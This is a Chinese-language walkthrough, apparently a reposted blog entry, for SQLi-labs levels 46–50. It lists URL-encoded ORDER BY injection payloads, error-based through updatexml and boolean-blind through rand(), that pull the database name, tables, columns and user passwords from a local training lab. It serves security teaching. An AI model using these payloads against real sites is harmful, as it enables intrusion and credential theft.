sql-labs46-50通关攻略

news2024/9/30 3:32:07

第46关

一.查询数据库

http://172.16.1.142/Less-46/?sort=1%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),1)--+icon-default.png?t=N7T8http://172.16.1.142/Less-46/?sort=1%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),1)--+

二.查表

http://172.16.1.142/Less-46/?sort=1%20and%20updatexml(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27),0x7e),1)--+icon-default.png?t=N7T8http://172.16.1.142/Less-46/?sort=1%20and%20updatexml(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27),0x7e),1)--+

三.查列

http://172.16.1.142/Less-46/?sort=1%20and%20updatexml(1,concat(0x7e,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27),0x7e),1)--+icon-default.png?t=N7T8http://172.16.1.142/Less-46/?sort=1%20and%20updatexml(1,concat(0x7e,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27),0x7e),1)--+

四.查user表里数据

http://172.16.1.142/Less-46/?sort=1%20and%20updatexml(1,concat(0x7e,(select%20substring(group_concat(username,%27:%27,password),1,32)%20from%20users%20),0x7e),1)--+icon-default.png?t=N7T8http://172.16.1.142/Less-46/?sort=1%20and%20updatexml(1,concat(0x7e,(select%20substring(group_concat(username,%27:%27,password),1,32)%20from%20users%20),0x7e),1)--+#substring

第47关

一.查询数据库

http://172.16.1.142/Less-47/?sort=1%27%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)--+icon-default.png?t=N7T8http://172.16.1.142/Less-47/?sort=1%27%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)--+

二.查表

http://172.16.1.142/Less-47/?sort=1%27%20and%20updatexml(1,concat(0x7e,(select%20group_concat(table_name)from%20information_schema.tables%20where%20table_schema=%27security%27),0x7e),1)--+icon-default.png?t=N7T8http://172.16.1.142/Less-47/?sort=1%27%20and%20updatexml(1,concat(0x7e,(select%20group_concat(table_name)from%20information_schema.tables%20where%20table_schema=%27security%27),0x7e),1)--+

三.查列

http://172.16.1.142/Less-47/?sort=1%27%20and%20updatexml(1,concat(0x7e,(select%20group_concat(column_name)from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27),0x7e),1)--+icon-default.png?t=N7T8http://172.16.1.142/Less-47/?sort=1%27%20and%20updatexml(1,concat(0x7e,(select%20group_concat(column_name)from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27),0x7e),1)--+

四.查询user表中数据

http://172.16.1.142/Less-47/?sort=1%27%20and%20updatexml(1,concat(0x7e,(select%20concat(username,0x3a,password)from%20users%20limit%200,1),0x7e),1)--+icon-default.png?t=N7T8http://172.16.1.142/Less-47/?sort=1%27%20and%20updatexml(1,concat(0x7e,(select%20concat(username,0x3a,password)from%20users%20limit%200,1),0x7e),1)--+

第48关

使用布尔盲注

一.查询数据库长度

http://127.0.0.1/Less-48/?sort=rand(length(database())=8)icon-default.png?t=N7T8http://127.0.0.1/Less-48/?sort=rand(length(database())=8)

数据库长度为8 

二.查询数据库命第一个字符

http://127.0.0.1/Less-48/?sort=rand(ascii(mid(database(),1,1))=101)icon-default.png?t=N7T8http://127.0.0.1/Less-48/?sort=rand(ascii(mid(database(),1,1))=101)

ascii码 为101第一个字符为s

........接着往后查回查出数据库为‘security’

三.查表格个数

http://127.0.0.1/Less-48/?sort=rand((select%20count(table_name)%20from%20information_schema.tables%20where%20table_schema=database())=4)icon-default.png?t=N7T8http://127.0.0.1/Less-48/?sort=rand((select%20count(table_name)%20from%20information_schema.tables%20where%20table_schema=database())=4)

 

说明数据库里有四个表格

四.第一个表格的名称的首字母

http://127.0.0.1/Less-48/?sort=rand(ascii(mid((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),1,1))=101)icon-default.png?t=N7T8http://127.0.0.1/Less-48/?sort=rand(ascii(mid((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),1,1))=101)

说明第一个表的字符为e

后面数据查询，同上 

第49关

同48关

区别：字符型，需要用 ' 闭合

第50关 

一.查询数据库

http://172.16.1.142/Less-50/?sort=updatexml(1,concat(0x7e,database(),0x7e),1)icon-default.png?t=N7T8http://172.16.1.142/Less-50/?sort=updatexml(1,concat(0x7e,database(),0x7e),1)

二.查表

http://172.16.1.142/Less-50/?sort=updatexml(1,concat(0x7e,(select%20group_concat(table_name)from%20information_schema.tables%20where%20table_schema=%27security%27),0x7e),1)icon-default.png?t=N7T8http://172.16.1.142/Less-50/?sort=updatexml(1,concat(0x7e,(select%20group_concat(table_name)from%20information_schema.tables%20where%20table_schema=%27security%27),0x7e),1)

三.查列

http://172.16.1.142/Less-50/?sort=updatexml(1,concat(0x7e,(select%20group_concat(column_name)from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27),0x7e),1)icon-default.png?t=N7T8http://172.16.1.142/Less-50/?sort=updatexml(1,concat(0x7e,(select%20group_concat(column_name)from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27),0x7e),1)

四.查询user表中数据

http://127.0.0.1/Less-50/?sort=updatexml(1,concat(0x7e,(select%20concat(username,0x3a,password)from%20users%20limit%200,1),0x7e),1)icon-default.png?t=N7T8http://127.0.0.1/Less-50/?sort=updatexml(1,concat(0x7e,(select%20concat(username,0x3a,password)from%20users%20limit%200,1),0x7e),1)

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/2087594.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

Eureka：Spring Cloud中的服务注册与发现如何实现？

Eureka：Spring Cloud中的服务注册与发现如何实现？

Eureka：Spring Cloud中的服务注册与发现如何实现？ 1、什么是服务注册与发现？2、Eureka的工作原理3、Eureka的优势 💖The Begin💖点点关注，收藏不迷路💖 在微服务架构的浪潮中，服务注…
阅读更多...
谷歌的 GameNGen：无需游戏引擎，人工智能模拟 “毁灭战士“，开辟新天地

谷歌的 GameNGen：无需游戏引擎，人工智能模拟 “毁灭战士“，开辟新天地

谷歌公司的研究人员创建了一个神经网络，可以在不使用传统游戏引擎的情况下生成经典射击游戏《毁灭战士》的实时游戏，从而实现了人工智能领域的一个重要里程碑。这个名为 GameNGen 的系统标志着人工智能向前迈出了重要一步，它能在单芯片上以每…
阅读更多...
ffmpeg教程及加速视频转码

ffmpeg教程及加速视频转码

ffmpeg教程及加速视频转码 1、ffmpeg简介： ffmpeg来自MPEG视频编码标准。 是一套可以用来记录，转换数字音频、视频，并能将其转化为流的开源计算机程序。 可以轻易的实现多种视频格式之间的相互转换。 2、基础知识： 容器、文件…
阅读更多...
2d像素游戏基本架构

2d像素游戏基本架构

目录 2D像素游戏的基本架构通常包括以下几个关键部分 Unity和虚幻引擎在2D游戏开发中的性能比较 Unity的2D工具设计复杂的地图和场景 创建和管理地图资源： 使用TileMap工具： 构建复杂场景： 添加碰撞体和物理效果： 优化和…
阅读更多...
密码访问单页自定义跳转页面源码

密码访问单页自定义跳转页面源码

源码介绍 密码访问单页自定义跳转页面源码，密码访问单页自定义跳转页面，修改了的密码访问单页，添加了js自定义密码跳转页面。需要正确输入密码才能跳转目标网址。 源码截图 源码下载 密码访问单页自定义跳转页面源码
阅读更多...
区分wps还是office创建的文档,word、ppt和excel

区分wps还是office创建的文档,word、ppt和excel

手动区分 文档->右键->属性 代码实现 namespace WpsAndOfficeDifferent {internal class Program{static void Main(string[] args){string root System.AppDomain.CurrentDomain.SetupInformation.ApplicationBase ?? "";#region 区分office和wps创建…
阅读更多...
SELF-INSTRUCT: Aligning Language Modelswith Self-Generated Instructions 学习

SELF-INSTRUCT: Aligning Language Modelswith Self-Generated Instructions 学习

指令微调就是要训练模型执行用户的要求的能力。 文章首先说“指令微调”数据集经常是人工生成，有数量少等缺点。文章提供了一个让语言模型自己生成指令微调数据，自己学习的方法。首先会让一个语言模型自己生成要求，输入和输出，然…
阅读更多...
【SpringBoot】电脑商城-09-默认收获地址和删除收货地址

【SpringBoot】电脑商城-09-默认收获地址和删除收货地址

默认收货地址 1 默认收货地址-持久层 1.1 规划需要执行的SQL语句 1.将某用户的所有收货地址设置为非默认地址（是否默认：0-不默认，1-默认）。 update t_address set is_default0 where uid?2.将某用户指定的收货地址设置为默认…
阅读更多...
108页PPT分享：华为流程体系及实施方法最佳实践

108页PPT分享：华为流程体系及实施方法最佳实践

PPT下载链接见文末~ 华为的流程体系、流程框架及实施方法是一个复杂而精细的系统，旨在确保公司运作的高效性和竞争力。以下是对这些方面的详细描述： 一、华为的流程体系 华为的流程体系是一套全面的管理体系，它涵盖了企业所有的活动&#…
阅读更多...
玩转云服务：Oracle Cloud甲骨文永久免费云主机配置指南（续）

玩转云服务：Oracle Cloud甲骨文永久免费云主机配置指南（续）

前段时间，和大家分享了白嫖Oracle Cloud的云服务器： 玩转云服务：Oracle Cloud甲骨文永久免费云服务器注册及配置指南。 新注册的小伙伴，可以在 30 天内，利用 300 美元免费储值，任性使用所有 Oracle Cloud …
阅读更多...
【unity实战】使用新版输入系统Input System+Rigidbody实现第三人称人物控制器

【unity实战】使用新版输入系统Input System+Rigidbody实现第三人称人物控制器

最终效果 前言 使用CharacterController实现3d角色控制器，之前已经做过很多了： 【unity小技巧】unity最完美的CharacterController 3d角色控制器，实现移动、跳跃、下蹲、奔跑、上下坡、物理碰撞效果，复制粘贴即用 【unity实战】C…
阅读更多...
InternLM2.5 部署到安卓手机上

InternLM2.5 部署到安卓手机上

环境准备 1.1 安装rust export RUSTUP_DIST_SERVERhttps://mirrors.ustc.edu.cn/rust-static export RUSTUP_UPDATE_ROOThttps://mirrors.ustc.edu.cn/rust-static/rustup curl --proto https --tlsv1.2 -sSf https://mirrors.ustc.edu.cn/misc/rustup-install.sh | sh1.2 安…
阅读更多...
PostgreSQL 服务启动不了问题

PostgreSQL 服务启动不了问题

如图，遇到这个问题，需要给文件夹打开权限即可。 先给主文件夹postgreSQL打开所有权限,点击属性->安全那里，所有修改啥的权限都打开。再给里面的data文件夹打开权限。
阅读更多...
开源搜索引擎之Solr

开源搜索引擎之Solr

Apache Solr 是一个开源的企业级搜索平台，构建在 Apache Lucene 之上，提供了强大的全文搜索、实时索引和分布式搜索能力。Solr 被广泛用于构建高性能的搜索应用程序，支持从简单的搜索引擎到复杂的数据分析平台等多种场景。以下是对 Apache So…
阅读更多...
1panle搭建的maxkb增加本地向量模型

1panle搭建的maxkb增加本地向量模型

首先下载模型，比如m3e-large，并上传到/opt/maxkb/model/local_embedding/ 目录，没有就创建 目录如下： 然后修改1panel的容器信息，点击右边的编辑： 在下方的挂在目录处点击添加： 在两个框都输入…
阅读更多...
ISIS路由渗透

ISIS路由渗透

/ 实验介绍: / 原理概述 在IS-IS网络中，所有的Level-2和Level-1-2路由器构成了一个连续的骨干区域。Level-1区域必须且只能与骨干区域相连，不同的Level-1区域之间不能直接相连。Level-1区域内的路由信息会通过Level-1-2路由器通报给Level-2区域&#x…
阅读更多...
EmguCV学习笔记 C# 8.3 Grabcut法

EmguCV学习笔记 C# 8.3 Grabcut法

版权声明：本文为博主原创文章，转载请在显著位置标明本文出处以及作者网名，未经作者允许不得用于商业目的。 EmguCV是一个基于OpenCV的开源免费的跨平台计算机视觉库,它向C#和VB.NET开发者提供了OpenCV库的大部分功能。 教程VB.net版本请访问…
阅读更多...
爬取央视热榜并存储到MongoDB

爬取央视热榜并存储到MongoDB

1. 环境准备 在开始之前，确保你已经安装了以下Python库： pip install requests pymongo2. 爬取网页内容 首先，我们需要爬取央视热榜的网页内容。通过requests.get()方法，我们可以获取网页的HTML内容，并通过re.finda…
阅读更多...
KEYSIGHT是德 Infiniium EXR系列 示波器

KEYSIGHT是德 Infiniium EXR系列 示波器

Infiniium EXR系列 示波器 苏州新利通 引言 概述 Infiniium EXR系列 出色的信号完整性让信号纤毫毕现 该系列的所有型号都集成了一个 10 位 ADC，并且在所有通道上同时提供 16 GSa/s 的采样率。高分辨率 ADC 的效用取决于示波器的前端底噪是否足够低以提供与之匹…
阅读更多...
Nvidia主导AI推理竞赛，但新兴对手纷纷崭露头角

Nvidia主导AI推理竞赛，但新兴对手纷纷崭露头角

每周跟踪AI热点新闻动向和震撼发展 想要探索生成式人工智能的前沿进展吗？订阅我们的简报，深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同，从行业内部的深度分析和实用指南中受益。不要错过这个机会，成为AI领…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023